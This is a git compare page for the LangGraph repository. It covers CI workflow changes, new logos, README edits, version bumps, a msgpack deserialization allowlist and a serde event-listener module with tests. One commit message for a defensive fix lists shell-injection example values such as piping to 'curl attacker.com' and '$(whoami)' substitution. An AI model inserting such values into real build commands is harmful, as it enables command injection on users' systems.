Compare commits

...
Author SHA1 Message Date
Sydney RunkleandGitHub c006575fe3 Apply suggestion from @sydney-runkle 2026-03-06 20:06:48 -05:00
Sydney RunkleandClaude Opus 4.6 87655c3cec Remove _triggers hack for subgraph replay
Instead of loading the post-input checkpoint and bypassing versions_seen
in _triggers(), load the pre-input checkpoint so _first() re-applies
input naturally. Channel versions bump past versions_seen, so triggers
fire without any special-case bypass.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 17:04:03 -08:00
Sydney Runkle e071ae1414 Merge branch 'sr/diabolical' into worktree-explore-subgraph-replay 2026-03-06 15:59:04 -08:00
Sydney Runkle bdf2a984bd clean 2026-03-06 15:08:56 -08:00
Sydney Runkle 4ba2a59972 push 2026-03-06 14:44:14 -08:00
e00a027579 fix(cli): block shell injection chars in build/install commands (#7044)
## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143

**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)

## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 21:14:57 +00:00
Sydney Runkle ff04c13312 little bitta algo 2026-03-05 18:28:11 -08:00
Sydney Runkle 069f548d53 boom 2026-03-05 18:10:14 -08:00
Sydney Runkle 014f9d2a09 eh 2026-03-05 18:08:07 -08:00
Sydney Runkle 625c51e74c fix 2026-03-05 16:57:46 -08:00
Sydney Runkle c579b2209e docs 2026-03-05 16:26:45 -08:00
Sydney Runkle 4826448e1a this is diabolical 2026-03-05 16:16:15 -08:00
Sydney Runkle 8ea279b8ad tests 2026-03-05 11:04:13 -08:00
Sydney Runkle eb2f09e321 push 2026-03-05 09:51:24 -08:00
Sydney Runkle 26d279a0ac rename 2026-03-05 09:30:02 -08:00
Sydney Runkle e850b21d08 continue 2026-03-05 09:10:43 -08:00
Sydney Runkle 6a92b7ff3c alt fix idea 2026-03-05 08:54:10 -08:00
Sydney Runkle 207dccf5b3 contextvars 2026-03-04 22:28:18 -08:00
Sydney Runkle 0623e4690c boom lint 2026-03-04 22:19:29 -08:00
Sydney Runkle 1366210740 better comments 2026-03-04 22:11:10 -08:00
Sydney Runkle b53c47675d refactor tests 2026-03-04 22:08:14 -08:00
Sydney Runkle 1aeafeeebd move tests 2026-03-04 21:45:16 -08:00
Sydney Runkle ba2b2f4a6f going crazy w/ tests 2026-03-04 21:26:51 -08:00
Sydney Runkle 61fb3563b4 maybe a fix 2026-03-04 18:18:06 -08:00
Sydney Runkle 63528f25af more tests 2026-03-04 17:36:15 -08:00
Sydney Runkle a59b3f1fee update 2026-03-04 14:26:15 -08:00
Sydney Runkle eeaac6d80d update comments 2026-03-04 13:26:31 -08:00
Sydney Runkle bb41c66547 lint 2026-03-04 13:22:48 -08:00
Sydney Runkle 52b586370d skip maybe 2026-03-04 13:20:52 -08:00
William FHandGitHub a3823395cf chore(cli): pass checkpointer config to CLI (#7003) 2026-03-02 21:12:22 +00:00
Sydney RunkleandGitHub c1e62bad8a Change logo width in README.md
Updated logo image width in README.md from 80% to 50%.
2026-03-02 12:34:28 -05:00
Sydney RunkleandGitHub 63841de505 Update logo image paths in README.md 2026-03-02 12:02:09 -05:00
Sydney RunkleandGitHub 0fe365ec4c chore: new logos (#7002) 2026-03-02 11:59:44 -05:00
Naomi PentrelandGitHub 1de3d82598 docs: update README with LangSmith development tip (#6997) 2026-03-02 07:23:31 -05:00
79a75645ca fix: bump minimatch to resolve CVE-2026-26996, CVE-2026-27903, CVE-2026-27904 (#6968)
## CVE Fix: minimatch

**Package:** `minimatch`
**CVEs:** CVE-2026-26996, CVE-2026-27903, CVE-2026-27904 (all HIGH)
**Vulnerable versions:** `< 3.1.4`, `>= 9.0.0 < 9.0.7`, `>= 10.0.0 <
10.2.3`
**Resolved versions:** `3.1.5`, `9.0.9`, `10.2.4`

### Fix strategy

Lockfile re-resolution (transitive dependency). Removed stale minimatch
resolution entries from yarn.lock files and ran `yarn install` to
re-resolve to the latest compatible versions.

### Files changed

- `libs/cli/js-examples/yarn.lock`
- `libs/cli/js-monorepo-example/yarn.lock`

### Verification

- [x] Lockfile updated — resolved versions are now 3.1.5, 9.0.9, 10.2.4
- [x] All 3 CVEs resolved in both lockfiles

🤖 Submitted by langster-patch

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-27 17:04:40 -08:00
William FHandGitHub cdda595e6e release(langgraph) 1.0.10 (#6967) 2026-02-27 13:00:05 -08:00
William FHandGitHub 7895051c96 release(checkpoint): 0.4.1 (#6966)
Release langgraph-checkpoint.
2026-02-27 12:55:41 -08:00
William FHandGitHub 901ab6b3f8 chore: add serde events (#6954) 2026-02-26 17:20:42 -08:00
William FHandGitHub adb953ddd4 chore: update defaults (#6953) 2026-02-26 14:46:02 -08:00
William FHandGitHub 5ddfce1814 chore: support workflow dispatch on ci (#6952) 2026-02-26 14:45:02 -08:00
William FHandGitHub 1f31e0b9b6 chore: add wf dispatch to CI (#6951) 2026-02-26 14:22:43 -08:00
30 changed files with 4576 additions and 468 deletions
+5
View File
@@ -0,0 +1,5 @@
<svg width="472" height="100" viewBox="0 0 472 100" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect x="100" y="6.10352e-05" width="100" height="100" rx="20" transform="rotate(90 100 6.10352e-05)" fill="#161F34"/>
<path d="M32.1494 67.8579H45.2266C45.2246 75.0778 39.3716 80.93 32.1514 80.9302C24.9301 80.9301 19.0756 75.0762 19.0752 67.855C19.0752 60.6341 24.9288 54.78 32.1494 54.7788V67.8579ZM67.8691 54.7788C75.0906 54.779 80.9443 60.6335 80.9443 67.855C80.944 75.0762 75.0904 80.93 67.8691 80.9302C60.6488 80.9301 54.7949 75.0778 54.793 67.8579H67.8594V54.7788C67.8626 54.7788 67.8659 54.7788 67.8691 54.7788ZM67.8691 19.0757C75.0906 19.0759 80.9443 24.9304 80.9443 32.1519C80.944 39.3731 75.0904 45.2269 67.8691 45.2271C67.8659 45.2271 67.8626 45.2261 67.8594 45.2261V32.1479H54.793C54.795 24.9281 60.6489 19.0758 67.8691 19.0757ZM32.1514 19.0757C39.3716 19.0759 45.2246 24.9281 45.2266 32.1479H32.1494V45.2261C24.929 45.2249 19.0755 39.3725 19.0752 32.1519C19.0752 24.9303 24.9299 19.0758 32.1514 19.0757Z" fill="#7FC8FF"/>
<path d="M142.427 70.248V65.748H153.227V32.748H142.427V28.248H158.147V65.748H168.947V70.248H142.427ZM189.174 70.608C182.454 70.608 177.894 67.248 177.894 61.668C177.894 55.548 182.154 52.128 190.194 52.128H199.194V50.028C199.194 46.068 196.374 43.668 191.574 43.668C187.254 43.668 184.374 45.708 183.774 48.828H178.854C179.574 42.828 184.434 39.288 191.814 39.288C199.614 39.288 204.114 43.188 204.114 50.328V63.708C204.114 65.328 204.714 65.748 206.094 65.748H207.654V70.248H204.954C200.874 70.248 199.494 68.508 199.434 65.508C197.514 68.268 194.454 70.608 189.174 70.608ZM189.534 66.408C195.654 66.408 199.194 62.868 199.194 57.768V56.268H189.714C185.334 56.268 182.874 57.888 182.874 61.368C182.874 64.368 185.454 66.408 189.534 66.408ZM216.601 70.248V39.648H220.861L221.521 43.788C223.321 41.448 226.321 39.288 231.121 39.288C237.601 39.288 243.001 42.948 243.001 52.848V70.248H238.081V53.148C238.081 47.028 235.201 43.788 230.281 43.788C224.941 43.788 221.521 47.928 221.521 53.988V70.248H216.601ZM266.348 82.608C258.548 82.608 253.088 78.948 252.308 72.228H257.348C258.188 76.068 261.608 78.228 266.708 78.228C273.128 78.228 276.608 75.228 276.608 68.568V64.968C274.568 68.448 271.268 70.608 266.108 70.608C257.648 70.608 251.408 64.908 251.408 54.948C251.408 45.588 257.648 39.288 266.108 39.288C271.268 39.288 274.688 41.508 276.608 44.928L277.268 39.648H281.528V68.748C281.528 77.568 276.848 82.608 266.348 82.608ZM266.588 66.228C272.588 66.228 276.668 61.608 276.668 55.068C276.668 48.348 272.588 43.668 266.588 43.668C260.528 43.668 256.448 48.288 256.448 54.948C256.448 61.608 260.528 66.228 266.588 66.228ZM303.555 82.608C295.755 82.608 290.295 78.948 289.515 72.228H294.555C295.395 76.068 298.815 78.228 303.915 78.228C310.335 78.228 313.815 75.228 313.815 68.568V64.968C311.775 68.448 308.475 70.608 303.315 70.608C294.855 70.608 288.615 64.908 288.615 54.948C288.615 45.588 294.855 39.288 303.315 39.288C308.475 39.288 311.895 41.508 313.815 44.928L314.475 39.648H318.735V68.748C318.735 77.568 314.055 82.608 303.555 82.608ZM303.795 66.228C309.795 66.228 313.875 61.608 313.875 55.068C313.875 48.348 309.795 43.668 303.795 43.668C297.735 43.668 293.655 48.288 293.655 54.948C293.655 61.608 297.735 66.228 303.795 66.228ZM327.862 70.248V65.748H335.422V44.148H327.862V39.648H340.222V44.928C341.602 42.588 344.482 39.648 350.482 39.648H355.582V44.448H349.942C342.562 44.448 340.342 49.968 340.342 54.828V65.748H353.902V70.248H327.862ZM375.209 70.608C368.489 70.608 363.929 67.248 363.929 61.668C363.929 55.548 368.189 52.128 376.229 52.128H385.229V50.028C385.229 46.068 382.409 43.668 377.609 43.668C373.289 43.668 370.409 45.708 369.809 48.828H364.889C365.609 42.828 370.469 39.288 377.849 39.288C385.649 39.288 390.149 43.188 390.149 50.328V63.708C390.149 65.328 390.749 65.748 392.129 65.748H393.689V70.248H390.989C386.909 70.248 385.529 68.508 385.469 65.508C383.549 68.268 380.489 70.608 375.209 70.608ZM375.569 66.408C381.689 66.408 385.229 62.868 385.229 57.768V56.268H375.749C371.369 56.268 368.909 57.888 368.909 61.368C368.909 64.368 371.489 66.408 375.569 66.408ZM401.076 82.248V39.648H405.336L405.996 44.568C408.036 41.748 411.336 39.288 416.496 39.288C424.956 39.288 431.196 44.988 431.196 54.948C431.196 64.308 424.956 70.608 416.496 70.608C411.336 70.608 407.856 68.508 405.996 65.568V82.248H401.076ZM416.016 66.228C422.076 66.228 426.156 61.608 426.156 54.948C426.156 48.288 422.076 43.668 416.016 43.668C410.016 43.668 405.936 48.288 405.936 54.828C405.936 61.548 410.016 66.228 416.016 66.228ZM439.663 70.248V28.248H444.583V43.788C446.863 40.968 450.403 39.288 454.363 39.288C462.043 39.288 466.423 44.388 466.423 53.208V70.248H461.503V53.508C461.503 47.268 458.623 43.788 453.523 43.788C448.063 43.788 444.583 48.108 444.583 54.948V70.248H439.663Z" fill="white"/>
</svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

+5
View File
@@ -0,0 +1,5 @@
<svg width="472" height="100" viewBox="0 0 472 100" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect x="100" width="100" height="100" rx="20" transform="rotate(90 100 0)" fill="#161F34"/>
<path d="M32.1494 67.8578H45.2266C45.2246 75.0776 39.3716 80.9299 32.1514 80.9301C24.9301 80.9299 19.0756 75.0761 19.0752 67.8549C19.0752 60.634 24.9288 54.7799 32.1494 54.7787V67.8578ZM67.8691 54.7787C75.0906 54.7789 80.9443 60.6334 80.9443 67.8549C80.944 75.076 75.0904 80.9299 67.8691 80.9301C60.6488 80.9299 54.7949 75.0777 54.793 67.8578H67.8594V54.7787C67.8626 54.7787 67.8659 54.7787 67.8691 54.7787ZM67.8691 19.0756C75.0906 19.0758 80.9443 24.9303 80.9443 32.1517C80.944 39.373 75.0904 45.2267 67.8691 45.2269C67.8659 45.2269 67.8626 45.226 67.8594 45.226V32.1478H54.793C54.795 24.928 60.6489 19.0757 67.8691 19.0756ZM32.1514 19.0756C39.3716 19.0757 45.2246 24.928 45.2266 32.1478H32.1494V45.226C24.929 45.2248 19.0755 39.3724 19.0752 32.1517C19.0752 24.9302 24.9299 19.0757 32.1514 19.0756Z" fill="#7FC8FF"/>
<path d="M142.427 70.248V65.748H153.227V32.748H142.427V28.248H158.147V65.748H168.947V70.248H142.427ZM189.174 70.608C182.454 70.608 177.894 67.248 177.894 61.668C177.894 55.548 182.154 52.128 190.194 52.128H199.194V50.028C199.194 46.068 196.374 43.668 191.574 43.668C187.254 43.668 184.374 45.708 183.774 48.828H178.854C179.574 42.828 184.434 39.288 191.814 39.288C199.614 39.288 204.114 43.188 204.114 50.328V63.708C204.114 65.328 204.714 65.748 206.094 65.748H207.654V70.248H204.954C200.874 70.248 199.494 68.508 199.434 65.508C197.514 68.268 194.454 70.608 189.174 70.608ZM189.534 66.408C195.654 66.408 199.194 62.868 199.194 57.768V56.268H189.714C185.334 56.268 182.874 57.888 182.874 61.368C182.874 64.368 185.454 66.408 189.534 66.408ZM216.601 70.248V39.648H220.861L221.521 43.788C223.321 41.448 226.321 39.288 231.121 39.288C237.601 39.288 243.001 42.948 243.001 52.848V70.248H238.081V53.148C238.081 47.028 235.201 43.788 230.281 43.788C224.941 43.788 221.521 47.928 221.521 53.988V70.248H216.601ZM266.348 82.608C258.548 82.608 253.088 78.948 252.308 72.228H257.348C258.188 76.068 261.608 78.228 266.708 78.228C273.128 78.228 276.608 75.228 276.608 68.568V64.968C274.568 68.448 271.268 70.608 266.108 70.608C257.648 70.608 251.408 64.908 251.408 54.948C251.408 45.588 257.648 39.288 266.108 39.288C271.268 39.288 274.688 41.508 276.608 44.928L277.268 39.648H281.528V68.748C281.528 77.568 276.848 82.608 266.348 82.608ZM266.588 66.228C272.588 66.228 276.668 61.608 276.668 55.068C276.668 48.348 272.588 43.668 266.588 43.668C260.528 43.668 256.448 48.288 256.448 54.948C256.448 61.608 260.528 66.228 266.588 66.228ZM303.555 82.608C295.755 82.608 290.295 78.948 289.515 72.228H294.555C295.395 76.068 298.815 78.228 303.915 78.228C310.335 78.228 313.815 75.228 313.815 68.568V64.968C311.775 68.448 308.475 70.608 303.315 70.608C294.855 70.608 288.615 64.908 288.615 54.948C288.615 45.588 294.855 39.288 303.315 39.288C308.475 39.288 311.895 41.508 313.815 44.928L314.475 39.648H318.735V68.748C318.735 77.568 314.055 82.608 303.555 82.608ZM303.795 66.228C309.795 66.228 313.875 61.608 313.875 55.068C313.875 48.348 309.795 43.668 303.795 43.668C297.735 43.668 293.655 48.288 293.655 54.948C293.655 61.608 297.735 66.228 303.795 66.228ZM327.862 70.248V65.748H335.422V44.148H327.862V39.648H340.222V44.928C341.602 42.588 344.482 39.648 350.482 39.648H355.582V44.448H349.942C342.562 44.448 340.342 49.968 340.342 54.828V65.748H353.902V70.248H327.862ZM375.209 70.608C368.489 70.608 363.929 67.248 363.929 61.668C363.929 55.548 368.189 52.128 376.229 52.128H385.229V50.028C385.229 46.068 382.409 43.668 377.609 43.668C373.289 43.668 370.409 45.708 369.809 48.828H364.889C365.609 42.828 370.469 39.288 377.849 39.288C385.649 39.288 390.149 43.188 390.149 50.328V63.708C390.149 65.328 390.749 65.748 392.129 65.748H393.689V70.248H390.989C386.909 70.248 385.529 68.508 385.469 65.508C383.549 68.268 380.489 70.608 375.209 70.608ZM375.569 66.408C381.689 66.408 385.229 62.868 385.229 57.768V56.268H375.749C371.369 56.268 368.909 57.888 368.909 61.368C368.909 64.368 371.489 66.408 375.569 66.408ZM401.076 82.248V39.648H405.336L405.996 44.568C408.036 41.748 411.336 39.288 416.496 39.288C424.956 39.288 431.196 44.988 431.196 54.948C431.196 64.308 424.956 70.608 416.496 70.608C411.336 70.608 407.856 68.508 405.996 65.568V82.248H401.076ZM416.016 66.228C422.076 66.228 426.156 61.608 426.156 54.948C426.156 48.288 422.076 43.668 416.016 43.668C410.016 43.668 405.936 48.288 405.936 54.828C405.936 61.548 410.016 66.228 416.016 66.228ZM439.663 70.248V28.248H444.583V43.788C446.863 40.968 450.403 39.288 454.363 39.288C462.043 39.288 466.423 44.388 466.423 53.208V70.248H461.503V53.508C461.503 47.268 458.623 43.788 453.523 43.788C448.063 43.788 444.583 48.108 444.583 54.948V70.248H439.663Z" fill="#161F34"/>
</svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

+12 -11
View File
@@ -40,11 +40,12 @@ jobs:
- uses: actions/checkout@v6
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "libs/cli/**"
- name: Set up Python ${{ matrix.python-version }}
if: steps.changed-files.outputs.all
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
@@ -52,15 +53,15 @@ jobs:
cache-suffix: "cli-integration-test"
ignore-nothing-to-cache: true
- name: Install cli globally
if: steps.changed-files.outputs.all
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
run: pip install -e .
- name: Build service ${{ matrix.example.name }}
if: steps.changed-files.outputs.all
if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
working-directory: ${{ matrix.example.workdir }}
run: |
langgraph build -t ${{ matrix.example.tag }}
- name: Test service ${{ matrix.example.name }}
if: ${{ steps.changed-files.outputs.all && env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: ${{ matrix.example.workdir }}
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -74,24 +75,24 @@ jobs:
timeout 60 python "$REPO_ROOT/.github/scripts/run_langgraph_cli_test.py" -t ${{ matrix.example.tag }}
- name: Build JS service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
working-directory: libs/cli/js-examples
run: |
langgraph build -t langgraph-test-e
- name: Build JS monorepo service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
working-directory: libs/cli/js-monorepo-example
run: |
langgraph build -t langgraph-test-f -c apps/agent/langgraph.json --build-command "yarn run turbo build" --install-command "yarn install"
- name: Build Python monorepo service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
working-directory: libs/cli/python-monorepo-example
run: |
langgraph build -t langgraph-test-g -c apps/agent/langgraph.json
- name: Test Python monorepo service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: libs/cli/python-monorepo-example
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -101,12 +102,12 @@ jobs:
timeout 60 python ../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-g -c apps/agent/langgraph.json
- name: Build prerelease reqs service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
working-directory: libs/cli/examples/graph_prerelease_reqs
run: |
langgraph build -t langgraph-test-h
- name: Test prerelease reqs service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
working-directory: libs/cli/examples/graph_prerelease_reqs
env:
LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -132,7 +133,7 @@ jobs:
fi
- name: Build and test prerelease reqs fail service
if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
working-directory: libs/cli/examples/graph_prerelease_reqs_fail
run: |
langgraph build -t langgraph-test-i || [ $? -eq 1 ]
+8 -7
View File
@@ -34,11 +34,12 @@ jobs:
- uses: actions/checkout@v6
- name: Get changed files
id: changed-files
if: github.event_name != 'workflow_dispatch'
uses: Ana06/get-changed-files@v2.3.0
with:
filter: "${{ inputs.working-directory }}/**"
- name: Set up Python ${{ matrix.python-version }}
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ matrix.python-version }}
@@ -46,12 +47,12 @@ jobs:
cache-suffix: lint-${{ inputs.working-directory }}
- name: Install dependencies
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
working-directory: ${{ inputs.working-directory }}
run: uv sync --frozen --group lint
- name: Get .mypy_cache to speed up mypy
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
uses: actions/cache@v5
env:
SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -61,7 +62,7 @@ jobs:
key: mypy-lint-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
- name: Analysing package code with our lint
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
working-directory: ${{ inputs.working-directory }}
run: |
if make lint_package > /dev/null 2>&1; then
@@ -72,12 +73,12 @@ jobs:
fi
- name: Install test dependencies
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
working-directory: ${{ inputs.working-directory }}
run: uv sync --group lint
- name: Get .mypy_cache_test to speed up mypy
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
uses: actions/cache@v5
env:
SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -87,7 +88,7 @@ jobs:
key: mypy-test-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
- name: Analysing tests with our lint
if: steps.changed-files.outputs.all
if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
working-directory: ${{ inputs.working-directory }}
run: |
if make lint_tests > /dev/null 2>&1; then
+7
View File
@@ -45,6 +45,13 @@ jobs:
shell: bash
run: make test_parallel
- name: Run strict msgpack pregel tests
if: ${{ matrix.python-version == '3.13' }}
shell: bash
env:
LANGGRAPH_STRICT_MSGPACK: "true"
run: make test TEST="tests/test_pregel.py tests/test_pregel_async.py"
- name: Ensure the tests did not create any additional files
shell: bash
run: |
+5 -2
View File
@@ -2,10 +2,12 @@
name: CI
on:
workflow_dispatch:
push:
branches:
- main
pull_request:
permissions:
contents: read
@@ -24,11 +26,12 @@ jobs:
changes:
runs-on: ubuntu-latest
outputs:
python: ${{ steps.filter.outputs.python }}
deps: ${{ steps.filter.outputs.deps }}
python: ${{ steps.filter.outputs.python || 'true' }}
deps: ${{ steps.filter.outputs.deps || 'true' }}
steps:
- uses: actions/checkout@v6
- uses: dorny/paths-filter@v3
if: github.event_name != 'workflow_dispatch'
id: filter
with:
filters: |
+6 -3
View File
@@ -1,7 +1,7 @@
<picture class="github-only">
<source media="(prefers-color-scheme: light)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg">
<source media="(prefers-color-scheme: dark)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_light.svg">
<img alt="LangGraph Logo" src="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg" width="80%">
<source media="(prefers-color-scheme: light)" srcset=".github/images/logo-light.svg">
<source media="(prefers-color-scheme: dark)" srcset=".github/images/logo-dark.svg">
<img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
</picture>
<div>
@@ -56,6 +56,9 @@ Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/pytho
To quickly build agents with LangChain's `create_agent` (built on LangGraph), see the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
> [!TIP]
> For developing, debugging, and deploying AI agents and LLM applications, see [LangSmith](https://docs.langchain.com/langsmith/home).
## Core benefits
LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent. LangGraph does not abstract prompts or architecture, and provides the following central benefits:
+1 -1
View File
@@ -259,7 +259,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
+1 -1
View File
@@ -268,7 +268,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
@@ -46,6 +46,24 @@ SAFE_MSGPACK_TYPES: frozenset[tuple[str, ...]] = frozenset(
("zoneinfo", "ZoneInfo"),
# regex
("re", "compile"),
# langchain-core messages (safe container types used by graph state)
("langchain_core.messages.base", "BaseMessage"),
("langchain_core.messages.base", "BaseMessageChunk"),
("langchain_core.messages.human", "HumanMessage"),
("langchain_core.messages.human", "HumanMessageChunk"),
("langchain_core.messages.ai", "AIMessage"),
("langchain_core.messages.ai", "AIMessageChunk"),
("langchain_core.messages.system", "SystemMessage"),
("langchain_core.messages.system", "SystemMessageChunk"),
("langchain_core.messages.chat", "ChatMessage"),
("langchain_core.messages.chat", "ChatMessageChunk"),
("langchain_core.messages.tool", "ToolMessage"),
("langchain_core.messages.tool", "ToolMessageChunk"),
("langchain_core.messages.function", "FunctionMessage"),
("langchain_core.messages.function", "FunctionMessageChunk"),
("langchain_core.messages.modifier", "RemoveMessage"),
# langchain-core document model
("langchain_core.documents.base", "Document"),
# langgraph
("langgraph.types", "Send"),
("langgraph.types", "Interrupt"),
@@ -0,0 +1,52 @@
from __future__ import annotations
import logging
from collections.abc import Callable
from threading import Lock
from typing import TypedDict
from typing_extensions import NotRequired
logger = logging.getLogger(__name__)
class SerdeEvent(TypedDict):
kind: str
module: str
name: str
method: NotRequired[str]
SerdeEventListener = Callable[[SerdeEvent], None]
_listeners: list[SerdeEventListener] = []
_listeners_lock = Lock()
def register_serde_event_listener(listener: SerdeEventListener) -> Callable[[], None]:
"""Register a listener for serde allowlist events."""
with _listeners_lock:
_listeners.append(listener)
def unregister() -> None:
with _listeners_lock:
try:
_listeners.remove(listener)
except ValueError:
pass
return unregister
def emit_serde_event(event: SerdeEvent) -> None:
"""Emit a serde event to all listeners.
Listener failures are isolated and logged.
"""
with _listeners_lock:
listeners = tuple(_listeners)
for listener in listeners:
try:
listener(event)
except Exception:
logger.warning("Serde listener failed", exc_info=True)
@@ -32,6 +32,7 @@ from langchain_core.load.load import Reviver
from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
from langgraph.checkpoint.serde.base import SerializerProtocol
from langgraph.checkpoint.serde.event_hooks import emit_serde_event
from langgraph.checkpoint.serde.types import SendProtocol
from langgraph.store.base import Item
@@ -519,6 +520,13 @@ def _create_msgpack_ext_hook(
if allowed_modules is True:
# default is to warn but allow unregistered types
emit_serde_event(
{
"kind": "msgpack_unregistered_allowed",
"module": module,
"name": name,
}
)
logger.warning(
"Deserializing unregistered type %s.%s from checkpoint. "
"This will be blocked in a future version. "
@@ -533,6 +541,13 @@ def _create_msgpack_ext_hook(
if key in allowed_modules:
return True
# strict mode blocks unregistered types
emit_serde_event(
{
"kind": "msgpack_blocked",
"module": module,
"name": name,
}
)
logger.warning(
"Blocked deserialization of %s.%s - not in allowed_msgpack_modules. "
"Add to allowed_msgpack_modules to allow: [(%r, %r)]",
@@ -548,6 +563,14 @@ def _create_msgpack_ext_hook(
key = (module, name, method)
if key in _lg_msgpack.SAFE_MSGPACK_METHODS:
return True
emit_serde_event(
{
"kind": "msgpack_method_blocked",
"module": module,
"name": name,
"method": method,
}
)
logger.warning(
"Blocked deserialization of method call %s.%s.%s - "
"not in allowed methods set.",
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph-checkpoint"
version = "4.0.1rc2"
version = "4.0.1"
description = "Library with base interfaces for LangGraph checkpoint savers."
authors = []
requires-python = ">=3.10"
+70
View File
@@ -17,12 +17,18 @@ import numpy as np
import ormsgpack
import pandas as pd
import pytest
from langchain_core.documents.base import Document
from langchain_core.messages import HumanMessage
from pydantic import BaseModel, SecretStr
from pydantic.v1 import BaseModel as BaseModelV1
from pydantic.v1 import SecretStr as SecretStrV1
from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
from langgraph.checkpoint.serde._msgpack import AllowedMsgpackModules
from langgraph.checkpoint.serde.event_hooks import (
SerdeEvent,
register_serde_event_listener,
)
from langgraph.checkpoint.serde.jsonplus import (
EXT_METHOD_SINGLE_ARG,
InvalidModuleError,
@@ -668,6 +674,40 @@ def test_msgpack_allowlist_blocks_non_listed(
assert result == expected
def test_msgpack_blocked_emits_event() -> None:
events: list[SerdeEvent] = []
unregister = register_serde_event_listener(events.append)
try:
